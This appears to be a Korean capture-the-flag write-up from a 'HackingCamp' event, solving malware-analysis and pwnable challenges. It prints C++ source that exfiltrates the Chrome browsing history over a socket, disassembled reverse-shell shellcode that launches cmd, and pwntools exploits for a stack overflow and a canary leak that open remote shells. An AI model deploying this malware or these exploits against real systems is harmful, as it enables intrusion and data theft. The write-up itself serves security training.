int main(int argc, char* argv[])
{
	WSADATA wsaData;
	sockaddr_in clientService;
	const char* message = "This is HackingCamp Malware Class 01";
	char sendbuf[2048];
	int sendbuflen = 2048;
	char recvbuf[2048];
	int recvbuflen = 2048;
	string historyFile = NULL;


	int iResult = WSAStartup(MAKEWORD(2, 2), &wsaData);

	if (iResult != NO_ERROR)
	{
		cout << "WSAStartup failed with error: " << iResult << endl;
		return 1;
	}

	SOCKET sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);

	if (sock == INVALID_SOCKET)
	{
		cout << "socket failed with error: " << endl;
		WSACleanup();
		return 1;
	}

	clientService.sin_family = AF_INET;
	clientService.sin_addr.s_addr = inet_addr("127.0.0.1");
	clientService.sin_port = htons(5893);

	iResult = connect(sock, (SOCKADDR*)&clientService, sizeof(clientService));

	if (iResult == SOCKET_ERROR)
	{
		cout << "connect failed with error: " << WSAGetLastError() << endl;
		closesocket(sock);
		WSACleanup();

		return 1;
	}

	while (1)
	{
		iResult = recv(sock, recvbuf, recvbuflen, 0);

		if (iResult > 0)
		{
			if (recvbuf[0] == 'i')
			{
				historyFile = string(getenv("LOCALAPPDATA")) +
					"\\Google\\Chrome\\User Data\\Default\\History";
				ifstream file(historyFile, ios::binary);

				if (file.is_open())
				{
					streamsize size = file.tellg();
					file.seekg(0, ios::beg);

					vector<unsigned char> buffer(size);

					if (!file.read(reinterpret_cast<char*>(buffer.data()), size))
					{
						cerr << "Failed to read file" << endl;
						return 1;
					}

					string encoded = base64Encode(buffer);
					strcpy(sendbuf, encoded.c_str());
					send(sock, sendbuf, sendbuflen, 0);
					ZeroMemory(sendbuf, 2048);
					Sleep(10);
				}
				else
				{
					cerr << "Failed to open file: " << historyFile << endl;
				}
			}
			if (recvbuf[0] == 'o')
			{
				SYSTEM_INFO sysInfo;
				GetNativeSystemInfo(&sysInfo);
			
				switch (sysInfo.wProcessorArchitecture)
				{
				case PROCESSOR_ARCHITECTURE_INTEL:
					strcpy(sendbuf, "INTEL");
					send(sock,sendbuf, sendbuflen, 0);
					ZeroMemory(sendbuf, 2048);
					break;
				case PROCESSOR_ARCHITECTURE_AMD64:
					strcpy(sendbuf, "AMD64");
					send(sock, sendbuf, sendbuflen, 0);
					ZeroMemory(sendbuf, 2048);
					break;
				}
				
			}
		}
		else if (iResult == 0)
		{
			cout << "Connection closed" << endl;
		}
		else
		{
			cout << "recv failed with error: << WSAGetLastError()" << endl;
		}
	}

	closesocket(sock);
	WSACleanup();
	return 0;

}

정답은 ‘GetNativeSystemInfo’로 플래그는 다음과 같습니다.

HCAMP{GetNativeSystemInfo}

Malware - malware analysis class #2

image title

아래 샘플이 제공됩니다.

0:  fc                      cld
1:  e8 82 00 00 00          call   0x88
6:  60                      pusha
7:  89 e5                   mov    ebp,esp
9:  31 c0                   xor    eax,eax
b:  64 8b 50 30             mov    edx,DWORD PTR fs:[eax+0x30]
f:  8b 52 0c                mov    edx,DWORD PTR [edx+0xc]
12: 8b 52 14                mov    edx,DWORD PTR [edx+0x14]
15: 8b 72 28                mov    esi,DWORD PTR [edx+0x28]
18: 0f b7 4a 26             movzx  ecx,WORD PTR [edx+0x26]
1c: 31 ff                   xor    edi,edi
1e: ac                      lods   al,BYTE PTR ds:[esi]
1f: 3c 61                   cmp    al,0x61
21: 7c 02                   jl     0x25
23: 2c 20                   sub    al,0x20
25: c1 cf 0d                ror    edi,0xd
28: 01 c7                   add    edi,eax
2a: e2 f2                   loop   0x1e
2c: 52                      push   edx
2d: 57                      push   edi
2e: 8b 52 10                mov    edx,DWORD PTR [edx+0x10]
31: 8b 4a 3c                mov    ecx,DWORD PTR [edx+0x3c]
34: 8b 4c 11 78             mov    ecx,DWORD PTR [ecx+edx*1+0x78]
38: e3 48                   jecxz  0x82
3a: 01 d1                   add    ecx,edx
3c: 51                      push   ecx
3d: 8b 59 20                mov    ebx,DWORD PTR [ecx+0x20]
40: 01 d3                   add    ebx,edx
42: 8b 49 18                mov    ecx,DWORD PTR [ecx+0x18]
45: e3 3a                   jecxz  0x81
47: 49                      dec    ecx
48: 8b 34 8b                mov    esi,DWORD PTR [ebx+ecx*4]
4b: 01 d6                   add    esi,edx
4d: 31 ff                   xor    edi,edi
4f: ac                      lods   al,BYTE PTR ds:[esi]
50: c1 cf 0d                ror    edi,0xd
53: 01 c7                   add    edi,eax
55: 38 e0                   cmp    al,ah
57: 75 f6                   jne    0x4f
59: 03 7d f8                add    edi,DWORD PTR [ebp-0x8]
5c: 3b 7d 24                cmp    edi,DWORD PTR [ebp+0x24]
5f: 75 e4                   jne    0x45
61: 58                      pop    eax
62: 8b 58 24                mov    ebx,DWORD PTR [eax+0x24]
65: 01 d3                   add    ebx,edx
67: 66 8b 0c 4b             mov    cx,WORD PTR [ebx+ecx*2]
6b: 8b 58 1c                mov    ebx,DWORD PTR [eax+0x1c]
6e: 01 d3                   add    ebx,edx
70: 8b 04 8b                mov    eax,DWORD PTR [ebx+ecx*4]
73: 01 d0                   add    eax,edx
75: 89 44 24 24             mov    DWORD PTR [esp+0x24],eax
79: 5b                      pop    ebx
7a: 5b                      pop    ebx
7b: 61                      popa
7c: 59                      pop    ecx
7d: 5a                      pop    edx
7e: 51                      push   ecx
7f: ff e0                   jmp    eax
81: 5f                      pop    edi
82: 5f                      pop    edi
83: 5a                      pop    edx
84: 8b 12                   mov    edx,DWORD PTR [edx]
86: eb 8d                   jmp    0x15
88: 5d                      pop    ebp
89: 68 33 32 00 00          push   0x3233
8e: 68 77 73 32 5f          push   0x5f327377
93: 54                      push   esp
94: 68 4c 77 26 07          push   0x726774c
99: ff d5                   call   ebp
9b: b8 90 01 00 00          mov    eax,0x190
a0: 29 c4                   sub    esp,eax
a2: 54                      push   esp
a3: 50                      push   eax
a4: 68 29 80 6b 00          push   0x6b8029
a9: ff d5                   call   ebp
ab: 50                      push   eax
ac: 50                      push   eax
ad: 50                      push   eax
ae: 50                      push   eax
af: 40                      inc    eax
b0: 50                      push   eax
b1: 40                      inc    eax
b2: 50                      push   eax
b3: 68 ea 0f df e0          push   0xe0df0fea
b8: ff d5                   call   ebp
ba: 97                      xchg   edi,eax
bb: 6a 05                   push   0x5
bd: 68 c0 a8 38 01          push   0x138a8c0
c2: 68 02 00 01 bb          push   0xbb010002
c7: 89 e6                   mov    esi,esp
c9: 6a 10                   push   0x10
cb: 56                      push   esi
cc: 57                      push   edi
cd: 68 99 a5 74 61          push   0x6174a599
d2: ff d5                   call   ebp
d4: 85 c0                   test   eax,eax
d6: 74 0c                   je     0xe4
d8: ff 4e 08                dec    DWORD PTR [esi+0x8]
db: 75 ec                   jne    0xc9
dd: 68 f0 b5 a2 56          push   0x56a2b5f0
e2: ff d5                   call   ebp
e4: 68 63 6d 64 00          push   0x646d63
e9: 89 e3                   mov    ebx,esp
eb: 57                      push   edi
ec: 57                      push   edi
ed: 57                      push   edi
ee: 31 f6                   xor    esi,esi
f0: 6a 12                   push   0x12
f2: 59                      pop    ecx
f3: 56                      push   esi
f4: e2 fd                   loop   0xf3
f6: 66 c7 44 24 3c 01 01    mov    WORD PTR [esp+0x3c],0x101
fd: 8d 44 24 10             lea    eax,[esp+0x10]
101:    c6 00 44                mov    BYTE PTR [eax],0x44
104:    54                      push   esp
105:    50                      push   eax
106:    56                      push   esi
107:    56                      push   esi
108:    56                      push   esi
109:    46                      inc    esi
10a:    56                      push   esi
10b:    4e                      dec    esi
10c:    56                      push   esi
10d:    56                      push   esi
10e:    53                      push   ebx
10f:    56                      push   esi
110:    68 79 cc 3f 86          push   0x863fcc79
115:    ff d5                   call   ebp
117:    89 e0                   mov    eax,esp
119:    4e                      dec    esi
11a:    56                      push   esi
11b:    46                      inc    esi
11c:    ff 30                   push   DWORD PTR [eax]
11e:    68 08 87 1d 60          push   0x601d8708
123:    ff d5                   call   ebp
125:    bb f0 b5 a2 56          mov    ebx,0x56a2b5f0
12a:    68 a6 95 bd 9d          push   0x9dbd95a6
12f:    ff d5                   call   ebp
131:    3c 06                   cmp    al,0x6
133:    7c 0a                   jl     0x13f
135:    80 fb e0                cmp    bl,0xe0
138:    75 05                   jne    0x13f
13a:    bb 47 13 72 6f          mov    ebx,0x6f721347
13f:    6a 00                   push   0x0
141:    53                      push   ebx
142:    ff d5                   call   ebp

문제내용에 적힌대로 상수값 0x863fcc79 에 대해 확인하면 됩니다.

해당 어셈블리 코드는 Windows Shell Code이며 상수 ‘0x863fcc79’는 kernel32.dll!CreateProcessA를 의미합니다. 따라서 플래그는 아래와 같습니다.

HCAMP{CreateProcessA}

Malware - malware analysis class #3

image title

아래 데이터를 분석해서 어떤 상수 값이 Windows XP 체크에 직접적인 연관이 있는지 찾습니다.

.text:10001C60                 push    ebp
.text:10001C61                 mov     ebp, esp
.text:10001C63                 sub     esp, 130h
.text:10001C69                 push    edi
.text:10001C6A                 sidt    fword ptr [ebp-8]
.text:10001C6E                 mov     eax, [ebp-6]
.text:10001C71                 cmp     eax, 8003F400h
.text:10001C76                 jbe     short loc_10001C88
.text:10001C78                 cmp     eax, 80047400h
.text:10001C7D                 jnb     short loc_10001C88
.text:10001C7F                 xor     eax, eax
.text:10001C81                 pop     edi
.text:10001C82                 mov     esp, ebp
.text:10001C84                 pop     ebp
.text:10001C85                 retn    0Ch              
.text:10001C88 loc_10001C88:                           
.text:10001C88                                         
.text:10001C88                 xor     eax, eax
.text:10001C8A                 mov     ecx, 49h
.text:10001C8F                 lea     edi, [ebp+pe.cntUsage]
.text:10001C95                 mov     [ebp+pe.dwSize], 0
.text:10001C9F                 push    eax             
.text:10001CA0                 push    2               
.text:10001CA2                 rep stosd
.text:10001CA4                 call    CreateToolhelp32Snapshot
.text:10001CA9                 mov     edi, eax
.text:10001CAB                 cmp     edi, 0FFFFFFFFh
.text:10001CAE                 jnz     short loc_10001CB9
.text:10001CB0                 xor     eax, eax
.text:10001CB2                 pop     edi
.text:10001CB3                 mov     esp, ebp
.text:10001CB5                 pop     ebp
.text:10001CB6                 retn    0Ch                          
.text:10001CB9                 lea     eax, [ebp+pe]
.text:10001CBF                 push    esi
.text:10001CC0                 push    eax             
.text:10001CC1                 push    edi             
.text:10001CC2                 mov     [ebp+pe.dwSize], 128h
.text:10001CCC                 call    Process32First
.text:10001CD1                 test    eax, eax
.text:10001CD3                 jz      short loc_10001D24
.text:10001CD5                 mov     esi, ds:_stricmp
.text:10001CDB                 lea     ecx, [ebp+pe.szExeFile]
.text:10001CE1                 push    offset String2  ; "explorer.exe"
.text:10001CE6                 push    ecx             
.text:10001CE7                 call    esi ; _stricmp
.text:10001CE9                 add     esp, 8
.text:10001CEC                 test    eax, eax
.text:10001CEE                 jz      short loc_10001D16
.text:10001CF0 loop:                                   
.text:10001CF0                 lea     edx, [ebp+pe]
.text:10001CF6                 push    edx             
.text:10001CF7                 push    edi             
.text:10001CF8                 call    Process32Next
.text:10001CFD                 test    eax, eax
.text:10001CFF                 jz      short loc_10001D24
.text:10001D01                 lea     eax, [ebp+pe.szExeFile]
.text:10001D07                 push    offset String2  ; "explorer.exe"
.text:10001D0C                 push    eax             ; String1
.text:10001D0D                 call    esi ; _stricmp
.text:10001D0F                 add     esp, 8
.text:10001D12                 test    eax, eax
.text:10001D14                 jnz     short loop
.text:10001D16 loc_10001D16:                           
.text:10001D16                 mov     eax, [ebp+pe.th32ParentProcessID]
.text:10001D1C                 mov     ecx, [ebp+pe.th32ProcessID]
.text:10001D22                 jmp     short loc_10001D2A
.text:10001D24 loc_10001D24:                           
.text:10001D24                                         
.text:10001D24                 mov     eax, [ebp+fdwReason]
.text:10001D27                 mov     ecx, [ebp+fdwReason]
.text:10001D2A
.text:10001D2A loc_10001D2A:                           
.text:10001D2A                 cmp     eax, ecx
.text:10001D2C                 pop     esi
.text:10001D2D                 jnz     short loc_10001D38
.text:10001D2F                 xor     eax, eax
.text:10001D31                 pop     edi
.text:10001D32                 mov     esp, ebp
.text:10001D34                 pop     ebp
.text:10001D35                 retn    0Ch

해당 코드의 첫부분은 목표로 삼은 컴퓨터의 IDT(Interrupt Descriptor Table) 의 기저주소를 읽어서 XP 및 2003 Server 시스템인지 체크 합니다.

8003F400h 값은 Intel 프로세서가 있는 XP 및 2003 Server 시스템의 IDT에 대해 알려진 상수입니다. 따라서 멀웨어는 XP 및 2003 Server를 대상으로 동작하며 감염시킵니다. 
https://www.mnin.org/?page=vmmdetect

따라서 플래그는 다음과 같습니다.

HCAMP{8003F400h}

Pwnable - HORCRUX

image title

초보자를 위한 문제로 소스코드를 제공해줍니다.

#horcrux.c

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

void alarm_handler()
{
    puts("TIME OUT");
    exit(-1);
}

void initialize()
{
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(60);
}

void get_shell()
{
    char *cmd = "/bin/sh";
    char *args[] = {cmd, NULL};
    execve(cmd, args, NULL);
}

int main()
{
    char buf[0xFF];
    int idx;

    initialize();

    memset(buf, 0, sizeof(buf));

    scanf("%d", &idx);
    if (idx/100 == 2){
        read(0, buf + idx, 0x1000);
    }

    return 0;
}

read 함수로 표준 입력으로 buf의 주소값 + idx 에서부터 0x1000 byte를 입력하여 Buffer Overflow가 발생합니다.

main의 Return Address를 get_shell 함수의 시작주소로 변경하면 쉘을 실행시킬 수 있습니다.

우선, idx를 100으로 나누었을때 2가 되는 숫자는 200-299까지 입니다.(100으로 나눴을때 소수점은 버려지기 때문에)

$rbp + 8(SPF)은 Return Address 시작주소로, gdb를 이용해 main함수의 Return Address($rbp + 8)와 buf의 시작주소 + idx의 차이를 구해야 합니다.

일단 gdb를 이용해서 idx에 200을 입력후 read함수까지 갑니다. image read function

read함수가 값을 쓰는 주소는 rsi 입니다. 차이가 64(0x40)이기 때문에 idx에 264를 입력하면 read함수는 main함수의 Return Address 주소부터 값을 쓰게 됩니다. image ($rbp + 8) - $rsi

get_shell 함수의 주소값을 알아냅니다. 소값은 “0x40083f” 입니다. image get_shell() address

Exploit 코드를 작성해줍니다.

idx에 264를 입력한 후 return address에 get_shell의 주소를 덮어씌웁니다.

from pwn import *

p = remote("***.***.***.***", *****)
get_shell = 0x40083f

p.sendline('264')
p.sendline(p64(get_shell))
p.interactive()

스크립트를 실행하면 플래그를 얻을 수 있습니다. image Get Flag

Pwnable - step

image title

바이너리에 카나리가 걸려있습니다. image

함수 호출은 print → read → puts → gets 순으로 버퍼 오버플로우가 발생하는 read, puts 함수를 호출합니다.

gef➤  disas main
Dump of assembler code for function main:
   0x0000000000400929 <+0>:	push   rbp
   0x000000000040092a <+1>:	mov    rbp,rsp
   0x000000000040092d <+4>:	sub    rsp,0x20
   0x0000000000400931 <+8>:	mov    rax,QWORD PTR fs:0x28
   0x000000000040093a <+17>:	mov    QWORD PTR [rbp-0x8],rax
   0x000000000040093e <+21>:	xor    eax,eax
   0x0000000000400940 <+23>:	mov    eax,0x0
   0x0000000000400945 <+28>:	call   0x40086f <initialize>
   0x000000000040094a <+33>:	mov    edi,0x400a65
   0x000000000040094f <+38>:	mov    eax,0x0
   0x0000000000400954 <+43>:	call   0x4006e0 <printf@plt>
   0x0000000000400959 <+48>:	mov    rax,QWORD PTR [rip+0x200720]        # 0x601080 <stdout@@GLIBC_2.2.5>
   0x0000000000400960 <+55>:	mov    rdi,rax
   0x0000000000400963 <+58>:	call   0x400740 <fflush@plt>
   0x0000000000400968 <+63>:	lea    rax,[rbp-0x20]
   0x000000000040096c <+67>:	mov    edx,0x1000
   0x0000000000400971 <+72>:	mov    rsi,rax
   0x0000000000400974 <+75>:	mov    edi,0x0
   0x0000000000400979 <+80>:	call   0x400700 <read@plt>
   0x000000000040097e <+85>:	lea    rax,[rbp-0x20]
   0x0000000000400982 <+89>:	mov    rdi,rax
   0x0000000000400985 <+92>:	call   0x4006c0 <puts@plt>
   0x000000000040098a <+97>:	mov    rax,QWORD PTR [rip+0x2006ef]        # 0x601080 <stdout@@GLIBC_2.2.5>
   0x0000000000400991 <+104>:	mov    rdi,rax
   0x0000000000400994 <+107>:	call   0x400740 <fflush@plt>
   0x0000000000400999 <+112>:	lea    rax,[rbp-0x20]
   0x000000000040099d <+116>:	mov    rdi,rax
   0x00000000004009a0 <+119>:	mov    eax,0x0
   0x00000000004009a5 <+124>:	call   0x400730 <gets@plt>
   0x00000000004009aa <+129>:	mov    eax,0x0
=> 0x00000000004009af <+134>:	mov    rcx,QWORD PTR [rbp-0x8]
   0x00000000004009b3 <+138>:	xor    rcx,QWORD PTR fs:0x28
   0x00000000004009bc <+147>:	je     0x4009c3 <main+154>
   0x00000000004009be <+149>:	call   0x4006d0 <__stack_chk_fail@plt>
   0x00000000004009c3 <+154>:	leave
   0x00000000004009c4 <+155>:	ret
End of assembler dump.

Canary Leak으로 카나리 값을 구할 수 있습니다.

스크립트를 짜줍니다. 첫번째 read 입력에 A*25를 줘서 canary의 \x00을 지워서 puts 함수호출시 canary값이 노출되도록 한 후 노출된 카나리 값을 $ebp-0x8 위치에 덮어씌우고, 이후 Retrun Address 값을 get_shell 의 시작주소로 덮어 씌웁니다.

from pwn import *

p = remote("***.***.***.***", *****)
get_shell = 0x4008cb

p.sendafter("What's your name?", b'A'*25)
p.recvuntil('A' * 25)

data = p.recvline()[:7]
canary = (b'\x00' + data)

payload = b'A'*0x18
payload += canary
payload += b'A'*0x8
payload += p64(get_shell)

p.sendline(payload)
p.interactive()

스크립트를 실행해서 쉘을 얻고, flag값을 얻을수 있습니다. image Get Flag